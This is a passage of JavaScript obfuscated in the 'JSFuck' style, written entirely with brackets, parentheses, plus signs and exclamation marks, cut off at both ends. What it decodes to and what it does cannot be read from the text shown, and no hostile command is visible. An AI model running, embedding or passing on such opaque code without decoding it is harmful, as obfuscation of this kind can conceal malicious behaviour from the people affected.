[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+[]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[